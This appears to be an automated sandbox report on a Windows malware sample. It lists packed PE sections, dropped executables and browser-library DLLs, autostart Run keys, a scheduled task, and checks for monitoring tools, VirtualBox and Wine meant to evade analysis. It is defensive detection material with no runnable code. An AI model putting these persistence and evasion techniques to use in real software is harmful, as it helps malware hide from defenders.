Source: file.exe	Static PE information: real checksum: 0x1c5c1e should be: 0x1c20da
Source: 215a689fd9.exe.26.dr	Static PE information: real checksum: 0x1c5c1e should be: 0x1c20da
Source: skotes.exe.23.dr	Static PE information: real checksum: 0x1e0f23 should be: 0x1e38ba

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: owiwlckr
Source: file.exe	Static PE information: section name: gktksauk
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: feznedxr
Source: random[1].exe.0.dr	Static PE information: section name: batlnaql
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: section name:
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: section name:
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: section name: feznedxr
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: section name: batlnaql
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: feznedxr
Source: skotes.exe.23.dr	Static PE information: section name: batlnaql
Source: skotes.exe.23.dr	Static PE information: section name: .taggant
Source: random[2].exe.26.dr	Static PE information: section name:
Source: random[2].exe.26.dr	Static PE information: section name: .idata
Source: random[2].exe.26.dr	Static PE information: section name: hinbqzan
Source: random[2].exe.26.dr	Static PE information: section name: bfucfdhf
Source: random[2].exe.26.dr	Static PE information: section name: .taggant
Source: e4e71e967a.exe.26.dr	Static PE information: section name:
Source: e4e71e967a.exe.26.dr	Static PE information: section name: .idata
Source: e4e71e967a.exe.26.dr	Static PE information: section name: hinbqzan
Source: e4e71e967a.exe.26.dr	Static PE information: section name: bfucfdhf
Source: e4e71e967a.exe.26.dr	Static PE information: section name: .taggant
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe.26.dr	Static PE information: section name: .idata
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: pibhodpk
Source: random[1].exe.26.dr	Static PE information: section name: sdsqttcj
Source: random[1].exe.26.dr	Static PE information: section name: .taggant
Source: c6782cb97e.exe.26.dr	Static PE information: section name:
Source: c6782cb97e.exe.26.dr	Static PE information: section name: .rsrc
Source: c6782cb97e.exe.26.dr	Static PE information: section name: .idata
Source: c6782cb97e.exe.26.dr	Static PE information: section name:
Source: c6782cb97e.exe.26.dr	Static PE information: section name: pibhodpk
Source: c6782cb97e.exe.26.dr	Static PE information: section name: sdsqttcj
Source: c6782cb97e.exe.26.dr	Static PE information: section name: .taggant
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.26.dr	Static PE information: section name: .idata
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: ozsfgbmb
Source: random[1].exe0.26.dr	Static PE information: section name: adwhoacu
Source: random[1].exe0.26.dr	Static PE information: section name: .taggant
Source: ea2bf34af0.exe.26.dr	Static PE information: section name:
Source: ea2bf34af0.exe.26.dr	Static PE information: section name: .rsrc
Source: ea2bf34af0.exe.26.dr	Static PE information: section name: .idata
Source: ea2bf34af0.exe.26.dr	Static PE information: section name:
Source: ea2bf34af0.exe.26.dr	Static PE information: section name: ozsfgbmb
Source: ea2bf34af0.exe.26.dr	Static PE information: section name: adwhoacu
Source: ea2bf34af0.exe.26.dr	Static PE information: section name: .taggant
Source: random[2].exe0.26.dr	Static PE information: section name:
Source: random[2].exe0.26.dr	Static PE information: section name: .idata
Source: random[2].exe0.26.dr	Static PE information: section name:
Source: random[2].exe0.26.dr	Static PE information: section name: owiwlckr
Source: random[2].exe0.26.dr	Static PE information: section name: gktksauk
Source: random[2].exe0.26.dr	Static PE information: section name: .taggant
Source: 215a689fd9.exe.26.dr	Static PE information: section name:
Source: 215a689fd9.exe.26.dr	Static PE information: section name: .idata
Source: 215a689fd9.exe.26.dr	Static PE information: section name:
Source: 215a689fd9.exe.26.dr	Static PE information: section name: owiwlckr
Source: 215a689fd9.exe.26.dr	Static PE information: section name: gktksauk
Source: 215a689fd9.exe.26.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CACB536 push ecx; ret

0_2_6CACB549

Source: file.exe	Static PE information: section name: owiwlckr entropy: 7.954218911130909
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.977724551434941
Source: random[1].exe.0.dr	Static PE information: section name: feznedxr entropy: 7.954510861024524
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: section name: entropy: 7.977724551434941
Source: DocumentsIJKFHDBKFC.exe.0.dr	Static PE information: section name: feznedxr entropy: 7.954510861024524
Source: skotes.exe.23.dr	Static PE information: section name: entropy: 7.977724551434941
Source: skotes.exe.23.dr	Static PE information: section name: feznedxr entropy: 7.954510861024524
Source: random[2].exe.26.dr	Static PE information: section name: entropy: 7.781789608460894
Source: e4e71e967a.exe.26.dr	Static PE information: section name: entropy: 7.781789608460894
Source: random[1].exe.26.dr	Static PE information: section name: pibhodpk entropy: 7.954955424041725
Source: c6782cb97e.exe.26.dr	Static PE information: section name: pibhodpk entropy: 7.954955424041725
Source: random[1].exe0.26.dr	Static PE information: section name: entropy: 7.979062423555215
Source: random[1].exe0.26.dr	Static PE information: section name: ozsfgbmb entropy: 7.953411047680423
Source: ea2bf34af0.exe.26.dr	Static PE information: section name: entropy: 7.979062423555215
Source: ea2bf34af0.exe.26.dr	Static PE information: section name: ozsfgbmb entropy: 7.953411047680423
Source: random[2].exe0.26.dr	Static PE information: section name: owiwlckr entropy: 7.954218911130909
Source: 215a689fd9.exe.26.dr	Static PE information: section name: owiwlckr entropy: 7.954218911130909

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIJKFHDBKFC.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007063001\e4e71e967a.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsIJKFHDBKFC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIJKFHDBKFC.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e4e71e967a.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 54e727f733.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 215a689fd9.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ea2bf34af0.exe

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIJKFHDBKFC.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsIJKFHDBKFC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ea2bf34af0.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ea2bf34af0.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 215a689fd9.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 215a689fd9.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 54e727f733.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 54e727f733.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e4e71e967a.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e4e71e967a.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAF55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CAF55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsIJKFHDBKFC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007055001\c6782cb97e.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

